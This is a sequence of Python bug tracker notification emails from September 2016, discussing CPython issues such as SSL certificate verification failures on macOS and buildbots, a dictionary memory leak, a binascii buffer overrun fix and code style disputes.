+        self->moduleFlags = self->myenvobj->moduleFlags;
     else
-        self->getReturnsNone = GET_RETURNS_NONE_DEFAULT;
+        self->moduleFlags.getReturnsNone = DEFAULT_GET_RETURNS_NONE;
+        self->moduleFlags.cursorSetReturnsNone = DEFAULT_CURSOR_SET_RETURNS_NONE;

It looks like the solution is to group both statements with braces, but I don?t know this module, so I can?t be sure, and I don?t know how to test it.

----------
components: Extension Modules
messages: 276422
nosy: gregory.p.smith, martin.panter
priority: normal
severity: normal
stage: test needed
status: open
title: Incorrect indentation under ?else? in _bsddb.c
type: compile error
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28149>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:39:30 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Wed, 14 Sep 2016 12:39:30 +0000
Subject: [issue28150] Error CERTIFICATE_VERIFY_FAILED in macOS
Message-ID: <1473856770.26.0.3471987491.issue28150@psf.upfronthosting.co.za>


New submission from Jason R. Coombs:

I saw the notice when installing Python 3.6.0b1 on Mac that said that the bundled OpenSSL is no longer used and thus 'certifi' will need to be installed and kept up-to-date.

At first, I thought, "no big deal" and pushed forward, but since, I've encountered the error in several cases:

- pip install of anything but certifi
- pip install in a new venv of anything but certifi
- distutils upload command (even with certifi installed)

I've only had 3.6.0b1 installed for a day, so I imagine I'm going to encounter new cases. Yes, indeed:

$ python
Python 3.6.0b1 (v3.6.0b1:5b0ca4ed5e2f, Sep 12 2016, 09:24:46) 
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib.request
>>> urllib.request.urlopen('https://www.google.com')
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 1318, in do_open
...
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 223, in urlopen
...
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/urllib/request.py", line 1320, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)>
>>> import certifi


So it seems that even the guidance of installing certifi isn't sufficient to restore the basic expectation that using the stdlib to open URLs securely.

I can't imagine this behavior is acceptable (either requiring a bootstrap step in each environment or requiring some call at runtime to set up SSL before making HTTPS calls).

I no longer have the message that the installer gave me and I don't see anything in the What's New document for 3.6 about certificates.

Is this deficiency something that's planned to be corrected for the next beta? Is there a recommended procedure to enable SSL in urllib.request?

----------
components: Library (Lib)
messages: 276423
nosy: jason.coombs
priority: normal
severity: normal
status: open
title: Error CERTIFICATE_VERIFY_FAILED in macOS
type: crash
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28150>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:45:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 12:45:56 +0000
Subject: [issue28150] Error CERTIFICATE_VERIFY_FAILED in macOS
In-Reply-To: <1473856770.26.0.3471987491.issue28150@psf.upfronthosting.co.za>
Message-ID: <1473857156.26.0.574313213383.issue28150@psf.upfronthosting.co.za>


Christian Heimes added the comment:

We are not going to use certifi in rc and final releases. It's only in b1 because the infrastructure and cert handling code is not yet in place. Ned has a plan.

----------
nosy: +christian.heimes, ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28150>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:46:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 12:46:56 +0000
Subject: [issue28150] Error CERTIFICATE_VERIFY_FAILED in macOS
In-Reply-To: <1473856770.26.0.3471987491.issue28150@psf.upfronthosting.co.za>
Message-ID: <1473857216.86.0.0853704620513.issue28150@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> critical
type: crash -> security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28150>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:48:53 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 12:48:53 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473857333.2.0.489721865322.issue28147@psf.upfronthosting.co.za>


Min RK added the comment:

I can add the cpython_only decorator, but I'm not sure it is the right thing to do. I would expect the code in the test to pass on any Python implementation, which would suggest that it should not be cpython_only, right? If you still think so, I'll add it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:50:16 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 12:50:16 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473857416.88.0.455629730898.issue28126@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Isn't the C API section reserved for C API changes? I haven't changed the C API but rather optimized the core.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:54:20 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 12:54:20 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1473857660.08.0.590431318414.issue28145@psf.upfronthosting.co.za>


Martin Panter added the comment:

What is the reasoning behind this? It seems like trading one person?s style, fashion, or editor settings for another. I think it is better to just tolerate existing styles, unless they cause significant problems. But maybe see what other people think.

The disadvantages of any change include adding extra noise to the history, conflicts with other patches people write, potential for error.

I am happy to commit your spelling fix though.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:57:15 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 12:57:15 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473857835.5.0.989076537145.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I don't understand the leak yet.

> Each time dict_resize is called, it gets a new, larger size `> minused`. If this is triggered many times, it will keep growing in size by a factor of two each time, as the previous size is passed as minused for the next call.

dictresize() is called for converting split table to combined table.
How is it triggered many times?

In your test code, which loop cause leak? new instance loop or re-use instance loop?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:57:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 12:57:57 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <20160914125752.84275.51297.FB0F6E55@psf.io>


Roundup Robot added the comment:

New changeset 0ca42273c714 by Victor Stinner in branch '3.6':
Issue #28114: Add unit tests on os.spawn*()
https://hg.python.org/cpython/rev/0ca42273c714

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 08:59:57 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 12:59:57 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473857997.08.0.816155901695.issue28114@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Berker and/or Eryksun: Please write unit tests for your patch. I just added a new SpawnTests to test_os which tests all os.spawn*() functions.

Please add at least one unit test with env contains a bytes key/value entry. Maybe add a use_bytes=False parameter to create_args() to use bytes for the variable added by the test?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:05:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 13:05:56 +0000
Subject: [issue28127] Add _PyDict_CheckConsistency()
In-Reply-To: <1473778369.72.0.526579545764.issue28127@psf.upfronthosting.co.za>
Message-ID: <20160914130544.20054.29090.68771A20@psf.io>


Roundup Robot added the comment:

New changeset ee44c971b3af by Victor Stinner in branch '3.6':
Add _PyDict_CheckConsistency()
https://hg.python.org/cpython/rev/ee44c971b3af

New changeset 070cc3b9d5cc by Victor Stinner in branch 'default':
Merge 3.6
https://hg.python.org/cpython/rev/070cc3b9d5cc

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28127>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:07:02 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:07:02 +0000
Subject: [issue28127] Add _PyDict_CheckConsistency()
In-Reply-To: <1473778369.72.0.526579545764.issue28127@psf.upfronthosting.co.za>
Message-ID: <1473858422.3.0.594300952277.issue28127@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ok, I pushed my new function. Expensive checks are disabled by default: define DEBUG_PYDICT to enable them (ex: gcc -D DEBUG_PYDICT).

Thanks for the review Eric, Naoki & Xiang!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28127>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:07:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 13:07:57 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473858477.94.0.494024035056.issue28126@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The Py_MEMCPY name doesn't start by an underscore, and it is not inside the "#ifndef Py_LIMITED_API" block. But it is not documented either. I don't know what is the status of this macro. If this is a part of public API, this change should be documented in the C API section. If it is inner macro, this change shouldn't be mentioned in Misc/NEWS.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:10:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:10:30 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473858630.44.0.824867412907.issue28147@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The CPython test suite uses a counter on memory allocations. Please add an unit test which triggers the memory leak, but you don't need many iterations. One iteartion should be enough to be catched by the unit test. Try: ./python -m test -R 3:3 test_dict.

The memory allocation counter:
https://docs.python.org/dev/library/sys.html#sys.getallocatedblocks

Note: The tracemalloc module can also be used to track memory leak, but it's harder to use it to write unit tests because Python uses a lot of internal caches and tracemalloc really tracks every single bytes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:12:50 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:12:50 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473858477.94.0.494024035056.issue28126@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYct+UX1Ekx494rGtus7FPmYSCtpaWRwt8t6+qKWx4Mkw@mail.gmail.com>


STINNER Victor added the comment:

I don't think that it's very useful to discuss the status of the
macro. Documenting the change doesn't harm ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:15:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 13:15:19 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473858919.81.0.250827386113.issue28126@psf.upfronthosting.co.za>


Christian Heimes added the comment:

My change doesn't break or change 3rd party application. They might get a tiny bit faster on Windows, if they have used Py_MEMCPY() for up to 16 bytes. That's it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:15:28 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 13:15:28 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473858928.26.0.01563184403.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Ah, is the leak happen in 3.6b1?
dict.pop() in 3.6b1 doesn't combine split table.  It was a bug and
fixed in master branch already.

Regardless the leak, I agree that grow dict when popping is bad idea.
I'll improve your patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:20:05 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Wed, 14 Sep 2016 13:20:05 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473859205.79.0.767375694204.issue28125@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> please try to build extension modules with mismatching abi flags (pydebug is the
relevant one). Post your results for both mismatch cases.

Hum, you are claiming that there is a problem with mismatching abi flags but don't care to explain why or to demonstrate the problem, and asking instead that it should be proven by someone else running a test that you are right...

Anyway, you are mistaken. The cross-compilation of Android with 'pydebug' set, using a native interpreter built without 'pydebug' gives the following results:

The native interpreter:
[xavier at bilboquet python-native]$ ./python
Python 3.7.0a0 (default:879bde95a456+, Sep 13 2016, 18:59:47) 
[GCC 6.1.1 20160707] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.abiflags
'm'

The Android interpreter built with this native interpreter:
root at generic_x86:/data/data/org.bitbucket.pyona # python
Python 3.7.0a0 (default:879bde95a456+, Sep 14 2016, 14:53:50) 
[GCC 4.2.1 Compatible Clang 3.8.243773 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.abiflags
'dm'
>>> import _socket
>>> _socket.__file__
'/data/data/org.bitbucket.pyona/python/lib/python3.7/lib-dynload/_socket.cpython-37dm-i686-linux-android.so'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:20:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:20:48 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1473794840.69.0.316221750505.issue15369@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZjUPYcNbsh0sHL2_WbO559XTUMn7bFvBfhabauFHzBVg@mail.gmail.com>


STINNER Victor added the comment:

> I'd also like to request that you reword this dismissive line in the performance package's readme: (...)

Please report issues of the performance module on its own bug tracker:
https://github.com/python/performance

Can you please propose a new description? You might even create a pull
request ;-)

Note: I'm not sure that we should keep pybench, this benchmark really
looks unreliable. But I should still try at least to use the same
number of iterations for all worker child processes. Currently the
calibration is done in each child process.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:27:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:27:07 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473859627.56.0.401537938915.issue28125@psf.upfronthosting.co.za>


STINNER Victor added the comment:

@Matthias Klose: I concur with Xavier, can you please behave as a professional and "keep exchanges on the bug tracker strictly on a technical level"? Personal attacks doesn't help us to contribute with you.

I didn't follow the discussion, but I'm sure that we can find a solution with work for all use cases: multiarch, cross compilation, etc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:34:06 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 13:34:06 +0000
Subject: [issue28144] Decrease empty_keys_struct's dk_refcnt
In-Reply-To: <1473846038.37.0.246156415541.issue28144@psf.upfronthosting.co.za>
Message-ID: <1473860046.58.0.653763920972.issue28144@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Nice catch!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28144>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:34:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:34:34 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
Message-ID: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The "x86 Windows7 3.x" buildbot fails to validate python.org HTTPS certificate.

The unit test uses the clear text HTTP URL, but http://www.python.org/robots.txt returns "301 Moved Permanently" with the new link: https://www.python.org/robots.txt

Firefox sees the cert as valid on my Fedora 24.

Firefox tells me that the cert organization (O) is "Python Software Foundation" and it was emitted by (CN) "DigiCert SHA2 Extended Validation Server CA", (O) "DigiCert Inc", (OU) "www.digicert.com".

Does this buildbot lack DigitCert root CA?

http://buildbot.python.org/all/builders/x86%20Windows7%203.x/builds/11636/steps/test/logs/stdio

======================================================================
ERROR: testPythonOrg (test.test_robotparser.NetworkTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1026, in _send_output
    self.send(msg)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 964, in send
    self.connect()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\http\client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 808, in __init__
    self.do_handshake()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_robotparser.py", line 280, in testPythonOrg
    parser.read()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\robotparser.py", line 58, in read
    f = urllib.request.urlopen(self.url)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 223, in urlopen
    return opener.open(url, data, timeout)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 532, in open
    response = meth(req, response)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 642, in http_response
    'http', request, response, code, msg, hdrs)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 564, in error
    result = self._call_chain(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 504, in _call_chain
    result = func(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 756, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 526, in open
    response = self._open(req, data)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 544, in _open
    '_open', req)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 504, in _call_chain
    result = func(*args)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1361, in https_open
    context=self._context, check_hostname=self._check_hostname)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\urllib\request.py", line 1320, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:747)>

----------
components: Tests
messages: 276442
nosy: christian.heimes, haypo
priority: normal
severity: normal
status: open
title: testPythonOrg() of test_robotparser fails on validating python.org HTTPS certificate
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:35:46 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:35:46 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <1473860146.13.0.232265183907.issue28151@psf.upfronthosting.co.za>


STINNER Victor added the comment:

A workaround is to catch the ssl.SSLError and skip the unit test...

Another fix is to avoid completely network connection to the Internet and only uses the temporary HTTP server used by other unit tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:36:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:36:30 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <1473860190.93.0.780093775987.issue28151@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
keywords: +buildbot
nosy: +zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:37:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:37:41 +0000
Subject: [issue28099] Drop Mac OS X Tiger support in Python 3.6
In-Reply-To: <1473677501.77.0.96699360086.issue28099@psf.upfronthosting.co.za>
Message-ID: <1473860261.43.0.608319236177.issue28099@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The "x86 Tiger 3.6" and "x86 Tiger 3.x" buildbots currently fail to compile Python:

* http://buildbot.python.org/all/builders/x86%20Tiger%203.6
* http://buildbot.python.org/all/builders/x86%20Tiger%203.x

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28099>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:38:33 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 13:38:33 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <1473860313.33.0.605941432238.issue28151@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Note that I'm planning to rewrite the test to use pythontest.net.

----------
nosy: +berker.peksag
stage:  -> needs patch
type:  -> enhancement
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:39:21 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 13:39:21 +0000
Subject: [issue27599] Buffer overrun in binascii
In-Reply-To: <1469291492.89.0.37008226611.issue27599@psf.upfronthosting.co.za>
Message-ID: <20160914133911.23531.34597.422ABC6A@psf.io>


Roundup Robot added the comment:

New changeset 423ad3b14ee1 by Serhiy Storchaka in branch '3.5':
Issue #27599: Fixed buffer overrun in binascii.b2a_qp() and binascii.a2b_qp().
https://hg.python.org/cpython/rev/423ad3b14ee1

New changeset fbc579ec36ab by Serhiy Storchaka in branch '2.7':
Issue #27599: Fixed buffer overrun in binascii.b2a_qp() and binascii.a2b_qp().
https://hg.python.org/cpython/rev/fbc579ec36ab

New changeset d53e1a5576e6 by Serhiy Storchaka in branch '3.6':
Issue #27599: Fixed buffer overrun in binascii.b2a_qp() and binascii.a2b_qp().
https://hg.python.org/cpython/rev/d53e1a5576e6

New changeset 56294e03ad89 by Serhiy Storchaka in branch 'default':
Issue #27599: Fixed buffer overrun in binascii.b2a_qp() and binascii.a2b_qp().
https://hg.python.org/cpython/rev/56294e03ad89

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27599>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:39:46 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 14 Sep 2016 13:39:46 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1473860386.53.0.974475194199.issue28145@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Well, it's trading one person's style for the PEP7 official style, so it's not completely arbitrary.

That said, I'm not sure it's justifiable to apply to the entire historic code base; my impression was that PEP7 was not intended to be applied retroactively in bulk, per the second reason not to obey a rule:

"To be consistent with surrounding code that also breaks it (maybe for historic reasons) -- although this is also an opportunity to clean up someone else's mess (in true XP style)."

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:40:09 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 13:40:09 +0000
Subject: [issue27599] Buffer overrun in binascii
In-Reply-To: <1469291492.89.0.37008226611.issue27599@psf.upfronthosting.co.za>
Message-ID: <1473860409.24.0.787599378413.issue27599@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27599>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:44:03 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 13:44:03 +0000
Subject: [issue23148] Missing the charset parameter in as_encoded_word()
In-Reply-To: <1420195099.17.0.393236049779.issue23148@psf.upfronthosting.co.za>
Message-ID: <1473860643.62.0.888911539071.issue23148@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage:  -> test needed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:44:25 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 13:44:25 +0000
Subject: [issue23147] Possible error in _header_value_parser.py
In-Reply-To: <1420194679.08.0.467668822135.issue23147@psf.upfronthosting.co.za>
Message-ID: <1473860665.9.0.127248536594.issue23147@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage:  -> test needed
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:45:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:45:33 +0000
Subject: [issue28152] Clang warnings: code will never be executed
Message-ID: <1473860733.22.0.899787116787.issue28152@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #23545 enabled extra warnings on GCC. Clang on FreeBSD now complains about unreachable (dead) code:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%20CURRENT%20Non-Debug%203.x/builds/281/steps/compile/logs/warnings%20%2814%29

Python/ast.c:3133:5: warning: code will never be executed [-Wunreachable-code]
